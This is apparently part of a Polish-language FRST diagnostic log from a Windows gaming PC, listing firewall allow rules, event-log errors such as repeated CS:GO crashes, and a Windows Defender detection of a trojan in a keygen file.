FirewallRules: [{832A0C5C-66CC-4D7A-9064-558254DE325E}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation)
FirewallRules: [TCP Query User{AFA77947-4C01-4997-8AD9-5AF3B7B2CAC4}C:\program files\java\jre1.8.0_251\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Brak pliku
FirewallRules: [UDP Query User{F0AECC27-F435-4B9C-A61C-964EF88C1ECF}C:\program files\java\jre1.8.0_251\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Brak pliku
FirewallRules: [TCP Query User{13D09162-BA10-45F7-951F-3BECA62D39CE}C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe] => (Allow) C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe => Brak pliku
FirewallRules: [UDP Query User{28BBE9FC-E65E-4827-9575-5A00A0A90BCD}C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe] => (Allow) C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe => Brak pliku
FirewallRules: [TCP Query User{6ADE5480-52C5-47F8-A134-1B96C38A272B}C:\users\oliwer\appdata\local\fivem\fivem.exe] => (Allow) C:\users\oliwer\appdata\local\fivem\fivem.exe (Intricus Software Limited -> Cfx.re)
FirewallRules: [UDP Query User{4F30D99A-4941-48EB-8762-EE0DEAA90114}C:\users\oliwer\appdata\local\fivem\fivem.exe] => (Allow) C:\users\oliwer\appdata\local\fivem\fivem.exe (Intricus Software Limited -> Cfx.re)
FirewallRules: [{BD902E3C-AFB7-430A-9768-B3379DBE0B1C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Marbles on Stream\MarblesOnStream.exe (Epic Games, Inc.) [Brak podpisu cyfrowego]
FirewallRules: [{BEE4F551-61A7-4DA9-B740-EC3740A8E402}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Marbles on Stream\MarblesOnStream.exe (Epic Games, Inc.) [Brak podpisu cyfrowego]
FirewallRules: [TCP Query User{6F4ADF5C-D075-4FFF-BB3C-4A0EED4BAE4B}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe => Brak pliku
FirewallRules: [UDP Query User{A57EC64A-4863-4447-8F8C-5128657138A6}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe => Brak pliku
FirewallRules: [{52AAC135-7657-4379-9589-0B50AA57B32E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FaceRig\Bin\Launcher.exe (Holotech Studios SRL -> )
FirewallRules: [{21D58B23-808D-4896-A598-067D16798280}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FaceRig\Bin\Launcher.exe (Holotech Studios SRL -> )
FirewallRules: [{0A417443-E3D7-43EF-B4EA-B04497F44C0A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FaceRig\Bin\FaceRig.exe (Holotech Studios SRL -> )
FirewallRules: [{0F3356D2-12A4-463F-8C46-4A3758E6ED63}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FaceRig\Bin\FaceRig.exe (Holotech Studios SRL -> )
FirewallRules: [TCP Query User{DABECB1D-9AC3-46FA-AFA6-9772350A0591}C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe] => (Allow) C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe => Brak pliku
FirewallRules: [UDP Query User{D9D3D324-D1C2-47EC-8A09-CDE3E24C9299}C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe] => (Allow) C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe => Brak pliku
FirewallRules: [TCP Query User{34A7258B-D9DA-4B94-B175-C5EEDB69C9E5}C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe] => (Allow) C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe => Brak pliku
FirewallRules: [UDP Query User{FE3460B1-49D8-4D9B-8C42-A6B01E90477D}C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe] => (Allow) C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe => Brak pliku
FirewallRules: [{F51810F7-5051-4C70-AB04-A3A3297DD48D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\GarrysMod\hl2.exe () [Brak podpisu cyfrowego]
FirewallRules: [{10DA9FDC-AED7-4A19-B86C-8775C397E3ED}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\GarrysMod\hl2.exe () [Brak podpisu cyfrowego]
FirewallRules: [TCP Query User{45FC42EC-6F85-464E-8E51-7318F1CB70FF}C:\program files (x86)\steam\steamapps\common\marbles on stream\marblesonstream\binaries\win64\marblesonstream-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\marbles on stream\marblesonstream\binaries\win64\marblesonstream-win64-shipping.exe (Pixel by Pixel Studios Inc. -> Pixel by Pixel Studios)
FirewallRules: [UDP Query User{F67F1FD3-D00E-4875-B704-ADEA44D3481C}C:\program files (x86)\steam\steamapps\common\marbles on stream\marblesonstream\binaries\win64\marblesonstream-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\marbles on stream\marblesonstream\binaries\win64\marblesonstream-win64-shipping.exe (Pixel by Pixel Studios Inc. -> Pixel by Pixel Studios)
FirewallRules: [{D261FA9F-5258-4D4E-99F1-F7A54AFF8113}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe (NVIDIA Corporation -> NVIDIA Corporation)
FirewallRules: [{3EB08BB8-FA8B-4FC2-860F-4386F7E9651C}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe (NVIDIA Corporation -> NVIDIA Corporation)
FirewallRules: [{645BDB8B-3257-48A8-A1FA-CF9C1DE11FA1}] => (Allow) LPort=32682
FirewallRules: [TCP Query User{39A4DC51-C094-4D33-BA4E-B63741C9316E}C:\users\oliwer\downloads\anydesk.exe] => (Allow) C:\users\oliwer\downloads\anydesk.exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [UDP Query User{8BFFCC09-9FAF-49A7-B62C-5780CC61869E}C:\users\oliwer\downloads\anydesk.exe] => (Allow) C:\users\oliwer\downloads\anydesk.exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [{C32D2BF1-3614-4E9C-8D3E-295280965CCC}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe (Valve -> )
FirewallRules: [{8A06D88F-F512-4B7E-994D-5D0A8B621361}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe (Valve -> )
FirewallRules: [TCP Query User{17715251-263D-4F95-B7DB-7E7F52798D9A}C:\program files\rockstar games\grand theft auto v\gta5.exe] => (Allow) C:\program files\rockstar games\grand theft auto v\gta5.exe (Rockstar Games, Inc. -> Rockstar Games)
FirewallRules: [UDP Query User{A5CF3FBE-AC0F-4DA9-A3C2-C3F49EEBAFD1}C:\program files\rockstar games\grand theft auto v\gta5.exe] => (Allow) C:\program files\rockstar games\grand theft auto v\gta5.exe (Rockstar Games, Inc. -> Rockstar Games)
FirewallRules: [{A5D645E3-55F5-4409-8ACE-E6E5B58EB5A3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Terraria\Terraria.exe (Re-Logic) [Brak podpisu cyfrowego]
FirewallRules: [{EB7F2B8F-75DC-458F-8286-97B375DED52B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Terraria\Terraria.exe (Re-Logic) [Brak podpisu cyfrowego]
FirewallRules: [TCP Query User{4A0A1FE3-F55A-4FD8-B1D0-FD7E9709A158}C:\program files (x86)\steam\steamapps\common\terraria\terrariaserver.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\terraria\terrariaserver.exe (Re-Logic) [Brak podpisu cyfrowego]
FirewallRules: [UDP Query User{C964063A-0F57-4617-A5BD-829D2CC1DD61}C:\program files (x86)\steam\steamapps\common\terraria\terrariaserver.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\terraria\terrariaserver.exe (Re-Logic) [Brak podpisu cyfrowego]
FirewallRules: [TCP Query User{574E3D82-1116-48E3-9246-89D4D32D6136}C:\users\oliwer\desktop\a\terrariaserver.exe] => (Allow) C:\users\oliwer\desktop\a\terrariaserver.exe => Brak pliku
FirewallRules: [UDP Query User{8A792EB3-419B-4F01-8A18-EDA15AAA6952}C:\users\oliwer\desktop\a\terrariaserver.exe] => (Allow) C:\users\oliwer\desktop\a\terrariaserver.exe => Brak pliku
FirewallRules: [{BC67A9C8-843F-46CF-BB82-5A804D517FBD}] => (Allow) C:\Program Files (x86)\Apowersoft\ApowerRecover\ApowerRecover.exe => Brak pliku
FirewallRules: [{DCE92A5D-4767-4B3C-8C12-CE68C0113BEC}] => (Allow) C:\Program Files (x86)\Apowersoft\ApowerRecover\ApowerRecover.exe => Brak pliku
FirewallRules: [{DE773CAD-9E72-4E35-8D7C-098DE52D5565}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Planet Coaster\PlanetCoaster.exe => Brak pliku
FirewallRules: [{EC7AE46A-CF6D-40AB-9547-6F8BFDA743BB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Planet Coaster\PlanetCoaster.exe => Brak pliku
FirewallRules: [TCP Query User{C491B817-24AE-4A42-9D26-C6C5B3A4E653}C:\users\oliwer\twitch\minecraft\install\runtime\jre-x64\bin\javaw.exe] => (Allow) C:\users\oliwer\twitch\minecraft\install\runtime\jre-x64\bin\javaw.exe
FirewallRules: [UDP Query User{C699389B-7DC0-4347-AEBC-0A80ABB06B4C}C:\users\oliwer\twitch\minecraft\install\runtime\jre-x64\bin\javaw.exe] => (Allow) C:\users\oliwer\twitch\minecraft\install\runtime\jre-x64\bin\javaw.exe
FirewallRules: [{86223316-B7FC-48E2-8A2C-FFD123C76672}] => (Allow) C:\Program Files\BlueStacks\HD-Player.exe => Brak pliku
FirewallRules: [{242E8E73-4BCF-4A7B-B413-F2748891385C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\tModLoader\tModLoader.exe (Re-Logic) [Brak podpisu cyfrowego]
FirewallRules: [{B5FFD360-021D-45CB-A9E6-DC1A80B036C9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\tModLoader\tModLoader.exe (Re-Logic) [Brak podpisu cyfrowego]
FirewallRules: [TCP Query User{8953F551-2995-467B-AF7F-FCAE830D043A}C:\program files\lghub\lghub_agent.exe] => (Allow) C:\program files\lghub\lghub_agent.exe => Brak pliku
FirewallRules: [UDP Query User{46336E6E-4371-4850-B712-94F314BADDAA}C:\program files\lghub\lghub_agent.exe] => (Allow) C:\program files\lghub\lghub_agent.exe => Brak pliku
FirewallRules: [{73C1A89B-AF5A-474B-ABB2-7AF7B57A7C4D}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [{7F414ADA-CD83-4F07-9F61-4EBC6EB74146}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [{1B3DFBC9-B53D-45DA-81F8-679EFB5791AC}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [{C5517784-503F-48CD-A518-AD2A211C2D4B}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [{DCF45C63-49D0-4A52-A47F-C5CD35A84FA7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Path of Exile\PathOfExileSteam.exe (Grinding Gear Games Limited -> )
FirewallRules: [{E5CAA81D-FD51-4E03-BAF1-3C8B2BACAC70}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Path of Exile\PathOfExileSteam.exe (Grinding Gear Games Limited -> )
FirewallRules: [TCP Query User{7C3D15DA-7174-4B9D-881C-D19C0FA3F682}C:\users\oliwer\downloads\anydesk (1).exe] => (Allow) C:\users\oliwer\downloads\anydesk (1).exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [UDP Query User{0969FA31-1BAD-4865-AFE0-8D31CD3A15A1}C:\users\oliwer\downloads\anydesk (1).exe] => (Allow) C:\users\oliwer\downloads\anydesk (1).exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [TCP Query User{0DC3CA28-BECC-46C3-8500-995BD6AD823B}C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe => Brak pliku
FirewallRules: [UDP Query User{F6878B01-64DB-4AD6-8F65-DA8F0C8882DB}C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe => Brak pliku
FirewallRules: [{A3152719-0C26-4CFF-97B2-85785CF5CC09}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe (NVIDIA Corporation -> NVIDIA Corporation)
FirewallRules: [{F96968D2-2764-4FBF-89E3-36AD95342877}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe (NVIDIA Corporation -> NVIDIA Corporation)
FirewallRules: [{6706CDE0-1937-4D25-B19A-FD79077C75E9}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe (NVIDIA Corporation -> NVIDIA Corporation)
FirewallRules: [{C5ABB37E-A726-44A6-89F0-B3237B2C8A3E}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe (NVIDIA Corporation -> NVIDIA Corporation)
FirewallRules: [TCP Query User{8ED0D94E-8001-4BD0-B978-60C092010D82}C:\program files\epic games\killingfloor2\binaries\win64\kfgame.exe] => (Allow) C:\program files\epic games\killingfloor2\binaries\win64\kfgame.exe (Tripwire Interactive, LLC.) [Brak podpisu cyfrowego]
FirewallRules: [UDP Query User{7B83C8F8-1175-4DF3-B25A-1168B3D7DCE7}C:\program files\epic games\killingfloor2\binaries\win64\kfgame.exe] => (Allow) C:\program files\epic games\killingfloor2\binaries\win64\kfgame.exe (Tripwire Interactive, LLC.) [Brak podpisu cyfrowego]
FirewallRules: [{DA708EBD-6E70-4B15-8817-FFB461409465}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{8008157E-0E0A-444E-B477-5419AFE498EF}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{5E013A2C-B3C1-4F99-9921-DBC4EFE417C1}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{3452047D-CD81-4BA9-892D-E52BD640C8A4}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{7A46C1D5-6B2D-45BC-961E-4D5D8849815B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FarCry5\bin\FarCry5.exe (UBISOFT ENTERTAINMENT INC. -> Ubisoft Entertainment)
FirewallRules: [{8C64202B-FBC1-41D0-9112-770217D047A1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FarCry5\bin\FarCry5.exe (UBISOFT ENTERTAINMENT INC. -> Ubisoft Entertainment)
FirewallRules: [{A0A044FD-E446-420F-85B8-AFE54AD1A0D2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FarCry5\bin\ArcadeEditor64.exe (UBISOFT ENTERTAINMENT INC. -> Ubisoft)
FirewallRules: [{5156B6B6-D398-4D01-8487-79E6855A657D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\FarCry5\bin\ArcadeEditor64.exe (UBISOFT ENTERTAINMENT INC. -> Ubisoft)
FirewallRules: [{4D08872F-F5F4-491D-BFDC-6544F029D1F0}] => (Block) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv_svc.exe (Intel(R) Software Development Products -> )
FirewallRules: [{2282BBA9-E4F0-4E1F-84B6-0D323E988923}] => (Block) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv_svc.exe (Intel(R) Software Development Products -> )
FirewallRules: [{8262487B-C693-4A36-9009-59978B71015C}] => (Allow) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv_svc.exe (Intel(R) Software Development Products -> )
FirewallRules: [{98200D87-4182-461F-A813-CE72FF7143BF}] => (Allow) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv_svc.exe (Intel(R) Software Development Products -> )
FirewallRules: [{FB5FEBC8-66F9-4E49-89E2-5D66EDD8901F}] => (Allow) C:\Program Files\Epic Games\TrackmaniaNext\trackmania.exe (NADEO SASU -> Nadeo)
FirewallRules: [{99339AC8-CA83-42F0-9E34-0E944539EFAB}] => (Allow) C:\Program Files\Epic Games\TrackmaniaNext\trackmania.exe (NADEO SASU -> Nadeo)
FirewallRules: [{FA18B9C4-0185-4671-9181-AAB6AB954EB6}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google LLC -> Google LLC)
FirewallRules: [TCP Query User{166E8764-98CF-4020-95F2-67C24FBD694A}C:\program files (x86)\ubisoft\ubisoft game launcher\games\hyper scape\hyperscape.exe] => (Allow) C:\program files (x86)\ubisoft\ubisoft game launcher\games\hyper scape\hyperscape.exe (UBISOFT ENTERTAINMENT INC. -> )
FirewallRules: [UDP Query User{121402FC-D563-449E-BBDE-CB77572C0E97}C:\program files (x86)\ubisoft\ubisoft game launcher\games\hyper scape\hyperscape.exe] => (Allow) C:\program files (x86)\ubisoft\ubisoft game launcher\games\hyper scape\hyperscape.exe (UBISOFT ENTERTAINMENT INC. -> )
FirewallRules: [{CB11B5D1-2A67-45E7-AADD-86EF553D6B11}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\CookingSimulator\CookingSim.exe () [Brak podpisu cyfrowego]
FirewallRules: [{D2B6D32C-8D6A-4F1C-8531-D0636C457C3E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\CookingSimulator\CookingSim.exe () [Brak podpisu cyfrowego]
FirewallRules: [{5CFB74BD-03AA-41B6-948C-D166E69F9634}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{D3044545-B19C-405E-8E5F-BACDC5BE471D}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{3E39F689-17D6-41A7-9914-A2E471E43C8C}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{16D44250-C219-4406-98FA-2B38159D7046}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{4450FB73-3933-422A-95B2-6A23847AE529}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{5EC9D91E-3BAE-4EFC-8453-1967E7BC0A74}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{9F73E382-CE50-4535-8370-7C25C310DD62}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [{A96F148B-DF2F-420A-9C54-33590BFF6084}] => (Allow) C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0\Spotify.exe (Spotify AB -> Spotify Ltd)
FirewallRules: [TCP Query User{5CA53194-D588-4C42-A06E-A89259B5A037}C:\users\oliwer\appdata\local\programs\python\python38-32\python.exe] => (Allow) C:\users\oliwer\appdata\local\programs\python\python38-32\python.exe (Python Software Foundation -> Python Software Foundation)
FirewallRules: [UDP Query User{42592241-4DF8-48A6-ADB1-9B19B3EB7A5F}C:\users\oliwer\appdata\local\programs\python\python38-32\python.exe] => (Allow) C:\users\oliwer\appdata\local\programs\python\python38-32\python.exe (Python Software Foundation -> Python Software Foundation)
FirewallRules: [{8D447B7B-F1F1-41B1-A705-F9C036B9BC09}] => (Allow) C:\Program Files (x86)\AnyDesk\AnyDesk.exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [{4E3D2CEF-0BCA-4DF6-8BA0-1901158771B9}] => (Allow) C:\Program Files (x86)\AnyDesk\AnyDesk.exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [{695E750F-E971-49A9-B773-F28355A21C1A}] => (Allow) C:\Program Files (x86)\AnyDesk\AnyDesk.exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [{01C2FD77-0970-4082-87E2-58C2385A5415}] => (Allow) C:\Program Files (x86)\AnyDesk\AnyDesk.exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [{9DBE938A-B44F-4F7F-B07C-89AC0959D00E}] => (Allow) C:\Program Files (x86)\AnyDesk\AnyDesk.exe (philandro Software GmbH -> philandro Software GmbH)
FirewallRules: [{8E1467EA-4EDE-46A3-9864-F7C165E75D1A}] => (Allow) C:\Program Files (x86)\AnyDesk\AnyDesk.exe (philandro Software GmbH -> philandro Software GmbH)

==================== Punkty Przywracania systemu =========================

04-08-2020 01:04:06 Restore Operation

==================== Wadliwe urządzenia w Menedżerze urządzeń ============


==================== Błędy w Dzienniku zdarzeń: ========================

Dziennik Aplikacja:
==================
Error: (08/07/2020 01:05:47 AM) (Source: Microsoft-Windows-PerfNet) (EventID: 2004) (User: DESKTOP-R2QR190)
Description: Unable to open the Server service performance object. The first four bytes (DWORD) of the Data section contains the status code.

Error: (08/06/2020 11:39:41 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: csgo.exe, version: 0.0.0.0, time stamp: 0x5f19e54c
Faulting module name: KERNELBASE.dll, version: 10.0.18362.959, time stamp: 0x51671cfe
Exception code: 0xc06d007f
Fault offset: 0x001143d2
Faulting process id: 0x32bc
Faulting application start time: 0x01d66c384eecdb08
Faulting application path: C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
Faulting module path: C:\Windows\System32\KERNELBASE.dll
Report Id: 73ab8e1b-fb1c-4a47-a59d-2340ad848d01
Faulting package full name:
Faulting package-relative application ID:

Error: (08/06/2020 11:39:38 PM) (Source: Microsoft-Windows-Perflib) (EventID: 1020) (User: ZARZĄDZANIE NT)
Description: The required buffer size is greater than the buffer size passed to the Collect function of the "C:\Windows\System32\perfts.dll" Extensible Counter DLL for the "LSM" service. The given buffer size was 34888 and the required size was 43528.

Error: (08/06/2020 10:24:04 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: csgo.exe, version: 0.0.0.0, time stamp: 0x5f19e54c
Faulting module name: KERNELBASE.dll, version: 10.0.18362.959, time stamp: 0x51671cfe
Exception code: 0xc06d007f
Fault offset: 0x001143d2
Faulting process id: 0x4924
Faulting application start time: 0x01d66c20d4045a1e
Faulting application path: C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
Faulting module path: C:\Windows\System32\KERNELBASE.dll
Report Id: 92869088-54b8-4ae3-93f0-f7e119f4602d
Faulting package full name:
Faulting package-relative application ID:

Error: (08/06/2020 08:38:40 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: csgo.exe, version: 0.0.0.0, time stamp: 0x5f19e54c
Faulting module name: tier0.dll, version: 0.0.0.0, time stamp: 0x5e83a221
Exception code: 0xc0000409
Fault offset: 0x00029114
Faulting process id: 0x27a8
Faulting application start time: 0x01d66c1c90c37574
Faulting application path: C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
Faulting module path: C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\bin\tier0.dll
Report Id: 20f0a514-7505-476e-b1e5-a3412dc75c6c
Faulting package full name:
Faulting package-relative application ID:

Error: (08/06/2020 06:50:16 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: csgo.exe, version: 0.0.0.0, time stamp: 0x5f19e54c
Faulting module name: KERNELBASE.dll, version: 10.0.18362.959, time stamp: 0x51671cfe
Exception code: 0xc06d007f
Fault offset: 0x001143d2
Faulting process id: 0x3db8
Faulting application start time: 0x01d66c06fafc3db9
Faulting application path: C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
Faulting module path: C:\Windows\System32\KERNELBASE.dll
Report Id: 74edf858-8a5d-43c5-9d55-ccd7c2b74fbf
Faulting package full name:
Faulting package-relative application ID:

Error: (08/06/2020 03:07:30 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: csgo.exe, version: 0.0.0.0, time stamp: 0x5f19e54c
Faulting module name: KERNELBASE.dll, version: 10.0.18362.959, time stamp: 0x51671cfe
Exception code: 0xc06d007f
Fault offset: 0x001143d2
Faulting process id: 0x4434
Faulting application start time: 0x01d66be6621f667c
Faulting application path: C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
Faulting module path: C:\Windows\System32\KERNELBASE.dll
Report Id: ca4234f5-40d9-4b3f-9067-a818b47e1a60
Faulting package full name:
Faulting package-relative application ID:

Error: (08/06/2020 01:31:02 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: DllHost.exe, version: 10.0.18362.1, time stamp: 0x4250d5de
Faulting module name: combase.dll, version: 10.0.18362.900, time stamp: 0x9e152c40
Exception code: 0xc0000005
Fault offset: 0x000e587d
Faulting process id: 0x4be0
Faulting application start time: 0x01d66be379667ce1
Faulting application path: C:\Windows\SysWOW64\DllHost.exe
Faulting module path: C:\Windows\System32\combase.dll
Report Id: a2fa5c5e-645b-4e09-8e82-a7f867fa6ec1
Faulting package full name: Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c
Faulting package-relative application ID: App


Dziennik System:
=============
Error: (08/07/2020 01:01:51 AM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-R2QR190)
Description: The server Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c!App.AppXtwmqn4em5r5dpafgj4t4yyxgjfe0hr50.mca did not register with DCOM within the required timeout.

Error: (08/07/2020 01:01:46 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: The WMPNetworkSvc service terminated with the following error:
An attempt was made to reference a token that does not exist.

Error: (08/06/2020 11:25:23 AM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: The Razer Game Manager service terminated unexpectedly.  It has done this 1 time(s).

Error: (08/06/2020 11:24:36 AM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-R2QR190)
Description: The server Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c!App.AppXtwmqn4em5r5dpafgj4t4yyxgjfe0hr50.mca did not register with DCOM within the required timeout.

Error: (08/06/2020 02:36:51 AM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-R2QR190)
Description: The server {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} did not register with DCOM within the required timeout.

Error: (08/06/2020 02:36:51 AM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-R2QR190)
Description: The server {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} did not register with DCOM within the required timeout.

Error: (08/06/2020 02:36:51 AM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-R2QR190)
Description: The server {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} did not register with DCOM within the required timeout.

Error: (08/06/2020 02:36:51 AM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-R2QR190)
Description: The server {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} did not register with DCOM within the required timeout.


Windows Defender:
===================================
Date: 2020-08-01 19:12:24.365
Description:
Produkt Program antywirusowy Windows Defender wykrył złośliwe oprogramowanie lub inne potencjalnie niechciane oprogramowanie.
Aby uzyskać więcej informacji, zobacz:
 
                   Trojan:Win32/Wacatac.C!ml threat description - Microsoft Security Intelligence            
Nazwa: Trojan:Win32/Wacatac.C!ml
Identyfikator: 2147749372
Ważność: Poważny
Kategoria: Koń trojański
Ścieżka: file:_\\fs\instalki\keygen__PHPDesigner2007.exe
Pochodzenie wykrycia: Udział sieciowy
Typ wykrycia: FastPath
Źródło wykrycia: Ochrona w czasie rzeczywistym
Użytkownik: DESKTOP-R2QR190\Oliwer
